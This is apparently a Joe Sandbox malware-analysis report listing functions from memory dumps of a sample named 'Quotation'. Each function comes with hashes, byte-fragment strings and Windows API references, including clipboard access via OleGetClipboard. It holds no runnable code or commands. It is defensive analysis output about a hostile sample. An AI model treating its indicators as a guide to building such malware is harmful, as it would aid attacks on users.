Source File: 00000003.00000002.3294329242.0000000036D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36d50000_Quotation.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 61ecc784c5858324154eefdc83075b5db55805127e5053526ce79f45edceed35
Instruction ID: 3cc7f5fe33253f2b892600aefa8e8c94b82c114719082d0e8dd879f090f33e92
Opcode Fuzzy Hash: 61ecc784c5858324154eefdc83075b5db55805127e5053526ce79f45edceed35
Instruction Fuzzy Hash: 6122E079E002058FEF15CFA4C48069EBBF2EF84364F22846AD649AB745DB35DC42CB91

Function 36D5C220 Relevance: .6, Instructions: 644COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3294329242.0000000036D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36d50000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8dac9edfee197f91bc2ef3d90db14327ef6b5f7a05edb5edc2a703aa37d89882
Instruction ID: d605dea52146890994e7967aa979e838a641a86bc3fa49833949a6a5a8b814e6
Opcode Fuzzy Hash: 8dac9edfee197f91bc2ef3d90db14327ef6b5f7a05edb5edc2a703aa37d89882
Instruction Fuzzy Hash: 66328E34F002059FEF04CB68D890A9EBBB6EF8A354F218529E505EB751DB35EC46CB91

Function 36D5B2BA Relevance: .6, Instructions: 566COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3294329242.0000000036D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36d50000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d289098a170477d436807add5c2cc5d7d0c77c49cd88ab1212f38d92558ac25
Instruction ID: 0ba089e43bb67b101e9f12040f438d0bcac1dc57c11d7f2e5f326f1062e5382d
Opcode Fuzzy Hash: 5d289098a170477d436807add5c2cc5d7d0c77c49cd88ab1212f38d92558ac25
Instruction Fuzzy Hash: 30226078E002098FEF14CB69C4A079DB7B6FB49350F218925E509EBB91DB35DC86CB91

Function 0015A500 Relevance: .4, Instructions: 360COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3268460441.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d68ae2dc388ace0d9d65387af3a5542bd1a051006d5efeb5eb9332ac816514a
Instruction ID: fad66290453a4b64f6b3f57584ffed7903f57e15f0e9d229ea32645d2b15689a
Opcode Fuzzy Hash: 6d68ae2dc388ace0d9d65387af3a5542bd1a051006d5efeb5eb9332ac816514a
Instruction Fuzzy Hash: BBD1AE30A40205CFDB14CF68D880B9EBBB6EF88311F508669E919DF295E771DC49CB92

Function 0015DCA8 Relevance: .3, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3268460441.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3cbf7c7feee930b8b6dd7b7e467ba67dbfdb657c79f4fb0e8144227a80843cd
Instruction ID: 22c84c2aa022079d92dc708bfae26a0286deb70cceaf6ce9d59f65581e39df05
Opcode Fuzzy Hash: c3cbf7c7feee930b8b6dd7b7e467ba67dbfdb657c79f4fb0e8144227a80843cd
Instruction Fuzzy Hash: 7BC10371B00211DFDB24CB68C890A6EBBB6EF85311F248569E829CF295CB31EC46C7D1

Function 00154A98 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3268460441.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82668cd70ac35abc24ed038185697ed5ce9c3c8f1290f91e145eb2ade0afaf05
Instruction ID: 9b2d663aa150bcfb93550f6c111a6b4ca480a211d4437b8ef58a60759525c918
Opcode Fuzzy Hash: 82668cd70ac35abc24ed038185697ed5ce9c3c8f1290f91e145eb2ade0afaf05
Instruction Fuzzy Hash: CFB16570E00209DFDF14CFA9C9957DDBBF2AF88319F148529D825EB254EB749889CB81

Function 00153E80 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3268460441.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54ad37cc7ef03c9f036b016825151306598ebaad576b80a280411a7368c34c8e
Instruction ID: 8ccf3326f3bebff8148bd158caa98f10546322ec8db322077261ee68c168be93
Opcode Fuzzy Hash: 54ad37cc7ef03c9f036b016825151306598ebaad576b80a280411a7368c34c8e
Instruction Fuzzy Hash: D9919470E00609DFDF14CFA9C9857DEBBF1AF88305F148129E825EB254DB749989CB81

Function 36D5B6E8 Relevance: 10.5, Strings: 8, Instructions: 470
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(\I6, xrefs: 36D5BBDA
$]q, xrefs: 36D5BC79
$]q, xrefs: 36D5BCA1
(\I6, xrefs: 36D5BCCE
$]q, xrefs: 36D5BC45
$]q, xrefs: 36D5BC39
$]q, xrefs: 36D5BC6D
$]q, xrefs: 36D5BCAD

Memory Dump Source

Source File: 00000003.00000002.3294329242.0000000036D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36d50000_Quotation.jbxd

Similarity

API ID:
String ID: (\I6$(\I6$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-2034685594
Opcode ID: e84b9856b7e02c13e4ea52f221017fb6d5f430ebd2d7d2195e42755e696323a1
Instruction ID: 9f6aee205d3647dd749b4d7174a92a9c7bb258d6d449a7532bfe35ae8ea87798
Opcode Fuzzy Hash: e84b9856b7e02c13e4ea52f221017fb6d5f430ebd2d7d2195e42755e696323a1
Instruction Fuzzy Hash: C0026934E002098FEF14CF68C4A0B9DBBB2EF85344F21856AE509EBA51DB75DD46CB91

Function 36D5AF2D Relevance: 10.2, Strings: 8, Instructions: 211
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 36D5AE8D
$]q, xrefs: 36D5AF03
$]q, xrefs: 36D5AF2C
$]q, xrefs: 36D5AEE0
$]q, xrefs: 36D5AF0F
$]q, xrefs: 36D5AE81
$]q, xrefs: 36D5AF38
$]q, xrefs: 36D5AED4

Memory Dump Source

Source File: 00000003.00000002.3294329242.0000000036D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36d50000_Quotation.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-1273862796
Opcode ID: 97f39179b815648b98537b364c2e701249b2a33e967c65a3aab7024e9af0b535
Instruction ID: 5a2c0ed6121b88737e601d41986481deb6b1944b89c82c303c88aa6e25141580
Opcode Fuzzy Hash: 97f39179b815648b98537b364c2e701249b2a33e967c65a3aab7024e9af0b535
Instruction Fuzzy Hash: 5E712234F002188FEF19DB68D89068E77F6EF85351F29892AE945DB644DB74DC42CB81

Function 00158729 Relevance: 6.8, Strings: 5, Instructions: 557
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

`I6, xrefs: 00158EC8
8I6, xrefs: 00158EAA
p$I6, xrefs: 001587A6
`"I6, xrefs: 00158836
@ I6, xrefs: 001588BA

Memory Dump Source

Source File: 00000003.00000002.3268460441.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Quotation.jbxd

Similarity

API ID:
String ID: 8I6$@ I6$`I6$`"I6$p$I6
API String ID: 0-176825592
Opcode ID: b2ed62d12863e565e23dd7a60f1e8ac7ebc9abccbd2b155f2135e3ecb354bd64
Instruction ID: d26a2584c83d8d4cf4415333e7b45e2a87019057f676d63522f31a7b709fbb38
Opcode Fuzzy Hash: b2ed62d12863e565e23dd7a60f1e8ac7ebc9abccbd2b155f2135e3ecb354bd64
Instruction Fuzzy Hash: 3D128C74B40101CBDB19AB28D491A6876EBEFC6341B20893AE405EF365CF35ED4BDB91

Function 37235E79 Relevance: 6.1, APIs: 4, Instructions: 136
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 37235F06
GetCurrentThread.KERNEL32 ref: 37235F43
GetCurrentProcess.KERNEL32 ref: 37235F80
GetCurrentThreadId.KERNEL32 ref: 37235FD9

Memory Dump Source

Source File: 00000003.00000002.3294489716.0000000037230000.00000040.00000800.00020000.00000000.sdmp, Offset: 37230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37230000_Quotation.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 40a41a62e3a4aaae77dce43259ceb0903532c8de51f8f30e18cc3d07471392f2
Instruction ID: 7e3682716e683ee1aebbf3c3601b0e7c2267cd1d28dfef081c6d3217c9abd6ee
Opcode Fuzzy Hash: 40a41a62e3a4aaae77dce43259ceb0903532c8de51f8f30e18cc3d07471392f2
Instruction Fuzzy Hash: F25144B09013499FDB45DFAAC548BEEBBF1FF49310F208459E009A7261D738A984CFA5

Function 37235E88 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 37235F06
GetCurrentThread.KERNEL32 ref: 37235F43
GetCurrentProcess.KERNEL32 ref: 37235F80
GetCurrentThreadId.KERNEL32 ref: 37235FD9

Memory Dump Source

Source File: 00000003.00000002.3294489716.0000000037230000.00000040.00000800.00020000.00000000.sdmp, Offset: 37230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37230000_Quotation.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 1526f29320692d199ebff2da0fa02e1653d6f98c1d9ace3c705211dccf1584ac
Instruction ID: c21534083206adcdde875b30af746c48acf75a672899e2a5d9d28203ec341b9b
Opcode Fuzzy Hash: 1526f29320692d199ebff2da0fa02e1653d6f98c1d9ace3c705211dccf1584ac
Instruction Fuzzy Hash: 7E5135B09013499FDB44DFAAD548BAEBBF5FF49310F208459E009A7361D738A980CFA5

Function 36D591E8 Relevance: 5.2, Strings: 4, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 36D59264
$]q, xrefs: 36D59293
$]q, xrefs: 36D5929F
$]q, xrefs: 36D59258

Memory Dump Source

Source File: 00000003.00000002.3294329242.0000000036D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36d50000_Quotation.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: bfbd93699c536742614986076ae9e9291cd9706cda4ebdc92840c312d976989c
Instruction ID: de125793385743939e15cbe0e6c951d6dbcc0c2ad4074e8faca49fc4336593e7
Opcode Fuzzy Hash: bfbd93699c536742614986076ae9e9291cd9706cda4ebdc92840c312d976989c
Instruction Fuzzy Hash: C7918F34B0021A8FDB54DB65C860B9EB3F6FF89244F108569D909EB744EF319D46CB92

Function 36D5CFE0 Relevance: 4.6, Strings: 3, Instructions: 800
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 36D5D3D7
$]q, xrefs: 36D5D3EB
$]q, xrefs: 36D5D3DF

Memory Dump Source

Source File: 00000003.00000002.3294329242.0000000036D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36d50000_Quotation.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q
API String ID: 0-182748909
Opcode ID: 974f387b8b2487b89f8da52b1d329ec40e651031e4c2e81211ca99a67f25bced
Instruction ID: 392d68941fbeeb61622b20a675cf64af609e10c4eaa709f93bb2b380c16450aa
Opcode Fuzzy Hash: 974f387b8b2487b89f8da52b1d329ec40e651031e4c2e81211ca99a67f25bced
Instruction Fuzzy Hash: 52627A34A0020A8FCB15DF68D590A4DBBB6FF84304B218A69D0499F769DB75ED4BCF84

Function 0015A1D1 Relevance: 4.0, Strings: 3, Instructions: 294
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@1I6, xrefs: 0015A10D
], xrefs: 0015A174
@1I6, xrefs: 0015A14C

Memory Dump Source

Source File: 00000003.00000002.3268460441.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Quotation.jbxd

Similarity

API ID:
String ID: @1I6$@1I6$]
API String ID: 0-2169399820
Opcode ID: d26cb4e2f36f21e7f19e2f6f13b882d8ff492c5586af5de30e094b44f73a3991
Instruction ID: da6ae2b4dec0cbd10180ded14fe3bf37a1515cfea10528a78c05ed88f93e25b7
Opcode Fuzzy Hash: d26cb4e2f36f21e7f19e2f6f13b882d8ff492c5586af5de30e094b44f73a3991
Instruction Fuzzy Hash: B5B19D34A80204CFCB14DFA4C994AADBBF2EF89311F648625E816EB365DB35DC46CB41

Function 36D5AFB0 Relevance: 4.0, Strings: 3, Instructions: 215
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

XM, xrefs: 36D5B1EC
XM, xrefs: 36D5B10B
DRI6, xrefs: 36D5B097

Memory Dump Source

Source File: 00000003.00000002.3294329242.0000000036D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36d50000_Quotation.jbxd

Similarity

API ID:
String ID: DRI6$XM$XM
API String ID: 0-4123182341
Opcode ID: e4dc9b0a3b42f7098c90ada5355c7a6cc0815ab4ca6838b0accf323113611884
Instruction ID: dff9027fa2f54a1fbdf2e2bdc558d9cdadda4442f3570760d26e08ac044040f4
Opcode Fuzzy Hash: e4dc9b0a3b42f7098c90ada5355c7a6cc0815ab4ca6838b0accf323113611884
Instruction Fuzzy Hash: C1718C30E0031A8FDF18DFA9C49069EBBB6EF85304F218629E509AB754DB75D846CB91

Function 36D54C10 Relevance: 3.9, Strings: 3, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fbq, xrefs: 36D5531D
XPbq, xrefs: 36D54D3D
\Obq, xrefs: 36D54DC7

Memory Dump Source

Source File: 00000003.00000002.3294329242.0000000036D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36d50000_Quotation.jbxd

Similarity

API ID:
String ID: fbq$XPbq$\Obq
API String ID: 0-4057264190
Opcode ID: 72bd971719888e9d3f98ba0aa78fbfb3e339a6387a41e443aca6f06aeaa431c6
Instruction ID: 2a4d2cebf8063efae65f860b29c2a78f2043ed04b1bd1a9f66bd9af140086c57
Opcode Fuzzy Hash: 72bd971719888e9d3f98ba0aa78fbfb3e339a6387a41e443aca6f06aeaa431c6
Instruction Fuzzy Hash: 44616E30E002099FEF149FA5C85479EBBF6EF88740F21852AE109AB391DF758C468F91

Function 0015F930 Relevance: 3.9, Strings: 3, Instructions: 148
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4']q, xrefs: 0015F9B2
4']q, xrefs: 0015F9D5
I6U, xrefs: 0015FB1B

Memory Dump Source

Source File: 00000003.00000002.3268460441.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Quotation.jbxd

Similarity

API ID:
String ID: 4']q$4']q$I6U
API String ID: 0-2887689718
Opcode ID: a6c284affa9258c5c80f456031a08653d27daf7c54d719b1c8e96768fa7e338a
Instruction ID: 695b61a489de305bdc548a012ee2461e35900285260739708cfbfd8cbf07feaf
Opcode Fuzzy Hash: a6c284affa9258c5c80f456031a08653d27daf7c54d719b1c8e96768fa7e338a
Instruction Fuzzy Hash: 5551B074A002099FCB05EFA8D595AEEBBB2FF88300F108169D045BB366DB35AD46CF55

Function 0015ECC8 Relevance: 2.9, Strings: 2, Instructions: 397COMMON

Download Yara Rule

Strings

Te]q, xrefs: 0015F038
Te]q, xrefs: 0015EF8E

Memory Dump Source

Source File: 00000003.00000002.3268460441.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Quotation.jbxd

Similarity

API ID:
String ID: Te]q$Te]q
API String ID: 0-3320153681
Opcode ID: 5a64dea954dafdde3fd48444b48eda9ebbca035affe9b28e25c9c2819916fb7b
Instruction ID: 15ec0ad3bb0bfe3da37f66ef53ed3cd7b5e2a6315b2036d32dbe2499c3e88026
Opcode Fuzzy Hash: 5a64dea954dafdde3fd48444b48eda9ebbca035affe9b28e25c9c2819916fb7b
Instruction Fuzzy Hash: 8EE13C34A00255CFDB28DB68C490AADB7F2EF89305F248529E815EF3A1DB75DD4ACB41

Function 36D591D8 Relevance: 2.7, Strings: 2, Instructions: 172COMMON

Download Yara Rule

Strings

$]q, xrefs: 36D59293
$]q, xrefs: 36D59258

Memory Dump Source

Source File: 00000003.00000002.3294329242.0000000036D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36d50000_Quotation.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: ec169b3fbb1cc60e055aa5f6b9595ef78c04d62a106a1a87dd359f1634fc0236
Instruction ID: 38fa75615c9ea40c9723ea2df549b378a224012eaac18957219acdd3ee5f74c7
Opcode Fuzzy Hash: ec169b3fbb1cc60e055aa5f6b9595ef78c04d62a106a1a87dd359f1634fc0236
Instruction Fuzzy Hash: 7B517F34B002169FEB54DB64C860BAE73F6EF89644F108569D50AEB784DF319C06CB92

Function 36D52071 Relevance: 2.6, Strings: 2, Instructions: 98COMMON

Download Yara Rule

Strings

@1I6, xrefs: 36D52175
@1I6, xrefs: 36D5210D

Memory Dump Source

Source File: 00000003.00000002.3294329242.0000000036D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36d50000_Quotation.jbxd

Similarity

API ID:
String ID: @1I6$@1I6
API String ID: 0-380743643
Opcode ID: bca3473107a502edbe540a1b99931e900578446df770575d2395d070b9dc7638
Instruction ID: 4fec78df4b344db02437be6b0d94972b509ad3c261c682b4b14b85929cf1862b
Opcode Fuzzy Hash: bca3473107a502edbe540a1b99931e900578446df770575d2395d070b9dc7638
Instruction Fuzzy Hash: 4D313E35E106099FDF05CF65C494A9EBBF2BF8A300F118519EA06EB750EB75AC46CB44

Function 36D52080 Relevance: 2.6, Strings: 2, Instructions: 91COMMON

Download Yara Rule

Strings

@1I6, xrefs: 36D52175
@1I6, xrefs: 36D5210D

Memory Dump Source

Source File: 00000003.00000002.3294329242.0000000036D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36d50000_Quotation.jbxd

Similarity

API ID:
String ID: @1I6$@1I6
API String ID: 0-380743643
Opcode ID: 6bdfb34b2aad24c39ae729f268f4eb3cd177df2d7902cb12a99526984a4c498f
Instruction ID: 5935920037c24fe404f890d4b327d9100bf1dec3a8a2a5eb60f476681c2c3d14
Opcode Fuzzy Hash: 6bdfb34b2aad24c39ae729f268f4eb3cd177df2d7902cb12a99526984a4c498f
Instruction Fuzzy Hash: B4314035E106099BDF05CF65C854A9EBBF2BF8A300F118519EA06EB750EB71EC46CB54

Function 0015A072 Relevance: 2.6, Strings: 2, Instructions: 82COMMON

Download Yara Rule

Strings

@1I6, xrefs: 0015A10D
@1I6, xrefs: 0015A14C

Memory Dump Source

Source File: 00000003.00000002.3268460441.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Quotation.jbxd

Similarity

API ID:
String ID: @1I6$@1I6
API String ID: 0-380743643
Opcode ID: dfac4464ea7509a3209a1a442613953afd8c8b7143eef1cc033432c21ae57ba1
Instruction ID: 62e8a8fb1e622412ac0bfa73ff6893df86f42034b1515063333830e01bda75c4
Opcode Fuzzy Hash: dfac4464ea7509a3209a1a442613953afd8c8b7143eef1cc033432c21ae57ba1
Instruction Fuzzy Hash: 57318E30E4060ADBCB05CF65D89469EFBB2EF8A300F50C619E815AB350EB709C46CB91

Function 0015A080 Relevance: 2.6, Strings: 2, Instructions: 78COMMON

Download Yara Rule

Strings

@1I6, xrefs: 0015A10D
@1I6, xrefs: 0015A14C

Memory Dump Source

Source File: 00000003.00000002.3268460441.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Quotation.jbxd

Similarity

API ID:
String ID: @1I6$@1I6
API String ID: 0-380743643
Opcode ID: 805ac59364c06f99e9133a9040bd15f50e53909b041d0efda170608c88ecec09
Instruction ID: ccac7394c40d400a32f97a40a87a97b2bc9fe339e18c6c870623bbf9edbf3d90
Opcode Fuzzy Hash: 805ac59364c06f99e9133a9040bd15f50e53909b041d0efda170608c88ecec09
Instruction Fuzzy Hash: 2D215E30E4060ADBDB09CF65D89569EFBB2FF8A300F54C619E815AB250DB719C4ACB91

Function 00159F70 Relevance: 2.6, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

D0I6, xrefs: 00159FEA
D0I6, xrefs: 0015A02B

Memory Dump Source

Source File: 00000003.00000002.3268460441.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Quotation.jbxd

Similarity

API ID:
String ID: D0I6$D0I6
API String ID: 0-156697385
Opcode ID: 0bd259a18332f11db73520e3e93a070bd5ee87818b1954f6d3913a9c8b3769e5
Instruction ID: 184ca786437b9db0444655ad8d8c003f11b8059e62478b23506ae5b2241e559e
Opcode Fuzzy Hash: 0bd259a18332f11db73520e3e93a070bd5ee87818b1954f6d3913a9c8b3769e5
Instruction Fuzzy Hash: 0D214131E10605DBCB19CFA4D45459EFBB2AF85310F60861AFC25BB390EB74AD49CB52

Function 00159F80 Relevance: 2.6, Strings: 2, Instructions: 70COMMON

Download Yara Rule

Strings

D0I6, xrefs: 00159FEA
D0I6, xrefs: 0015A02B

Memory Dump Source

Source File: 00000003.00000002.3268460441.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Quotation.jbxd

Similarity

API ID:
String ID: D0I6$D0I6
API String ID: 0-156697385
Opcode ID: 04b9d573b4243b727566d76ca170c131a17781632e83dce6dc7bad213cfad9fc
Instruction ID: 117129533136a079d596cac7a217b9d952f15a45063a0f3b1618a6d1b9ff0f34
Opcode Fuzzy Hash: 04b9d573b4243b727566d76ca170c131a17781632e83dce6dc7bad213cfad9fc
Instruction Fuzzy Hash: 78213030E10205DBCB19CFA4D45459EBBB2AF85310F60861AE825FB290EB7499498B52

Function 0015FEE8 Relevance: 2.5, Strings: 2, Instructions: 48COMMON

Download Yara Rule

Strings

`Q]q, xrefs: 0015FF59
`Q]q, xrefs: 0015FF16

Memory Dump Source

Source File: 00000003.00000002.3268460441.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Quotation.jbxd

Similarity

API ID:
String ID: `Q]q$`Q]q
API String ID: 0-3952371890
Opcode ID: d3a950a6f55b63ee504a93de31a4277a93ea8cdcfae91e9722c8666d2efbcf32
Instruction ID: 7a68655c7b58bf7234f1fa4e4b9d1e0fbca3c6b53a654ac2f5a9d3fa21da4deb
Opcode Fuzzy Hash: d3a950a6f55b63ee504a93de31a4277a93ea8cdcfae91e9722c8666d2efbcf32
Instruction Fuzzy Hash: EE110474E803489FC708EFB4E581B5C7BB2EF81300F108169C448AB2A5EA745F07CB52

Function 0015FEF8 Relevance: 2.5, Strings: 2, Instructions: 42COMMON

Download Yara Rule

Strings

`Q]q, xrefs: 0015FF59
`Q]q, xrefs: 0015FF16

Memory Dump Source

Source File: 00000003.00000002.3268460441.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Quotation.jbxd

Similarity

API ID:
String ID: `Q]q$`Q]q
API String ID: 0-3952371890
Opcode ID: 02d2e980bd79ec2ca4f1cf8f076a909be9866da3996434f6fb3a16e768430f4a
Instruction ID: 439c0f4e0de2669ef6b2f47ad83d83e8063cc94cb5983f507057fcb03e4f480f
Opcode Fuzzy Hash: 02d2e980bd79ec2ca4f1cf8f076a909be9866da3996434f6fb3a16e768430f4a
Instruction Fuzzy Hash: D3017174E40309AFD708EFB4E585B5DBBB6EF80304F108568D4486B2A4EA345E07CB56

Function 37232372 Relevance: 1.6, APIs: 1, Instructions: 114COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 3723248A

Memory Dump Source

Source File: 00000003.00000002.3294489716.0000000037230000.00000040.00000800.00020000.00000000.sdmp, Offset: 37230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37230000_Quotation.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: cee9ac809bf1b1db516bf84cfc91163bc329e10ddba3b5e39ebcbecad30934ba
Instruction ID: 518dd5f65b937802e6b7ddf08824cd839cd20aa95965f5ddc0f2896a82c86074
Opcode Fuzzy Hash: cee9ac809bf1b1db516bf84cfc91163bc329e10ddba3b5e39ebcbecad30934ba
Instruction Fuzzy Hash: 6251D2B1D003099FEB14CF99C984ADEBBF1FF48310F20812AE518AB210D775A845CF91

Function 37232378 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 3723248A

Memory Dump Source

Source File: 00000003.00000002.3294489716.0000000037230000.00000040.00000800.00020000.00000000.sdmp, Offset: 37230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37230000_Quotation.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: ea25d3abf3add8aaf14d9787c80c9207f476ef101cc713b603d60bc4b883d9fe
Instruction ID: 03e83ab8c18d6c8f23b5bf32b8ba6b6bff6a7c4b0ed0023bbeba8d5434436852
Opcode Fuzzy Hash: ea25d3abf3add8aaf14d9787c80c9207f476ef101cc713b603d60bc4b883d9fe
Instruction Fuzzy Hash: B741A0B1D01309AFEB14CF99C984ADEBBF5BF48310F64812AE518AB210D775A885CF91

Function 37235CBC Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 37237029

Memory Dump Source

Source File: 00000003.00000002.3294489716.0000000037230000.00000040.00000800.00020000.00000000.sdmp, Offset: 37230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37230000_Quotation.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 03af0f75325afd2ba00c94b951e13d6463d91dbc76a8be10928680e8569969ab
Instruction ID: c0f04bd42b6c2f2527863b6c0cd4b088cf189108761c63b1b7e07784e0788ad8
Opcode Fuzzy Hash: 03af0f75325afd2ba00c94b951e13d6463d91dbc76a8be10928680e8569969ab
Instruction Fuzzy Hash: B1413AB4A00705DFEB04CF99C884AAABBF5FF88314F24845DE519AB321D775A841CFA1

Function 37237CAE Relevance: 1.6, APIs: 1, Instructions: 72comclipboardCOMMON

Download Yara Rule

APIs

OleGetClipboard.OLE32(?), ref: 37237D38

Memory Dump Source

Source File: 00000003.00000002.3294489716.0000000037230000.00000040.00000800.00020000.00000000.sdmp, Offset: 37230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37230000_Quotation.jbxd

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: c729dc85428a2eb86c6c27581b2ee9d76e1652df63ee2a1f88977bf69d36fa0a
Instruction ID: dd0daa7693e7eb853f7afd322d28ad4be2f452687224c0ff5e20bad710db4a05
Opcode Fuzzy Hash: c729dc85428a2eb86c6c27581b2ee9d76e1652df63ee2a1f88977bf69d36fa0a
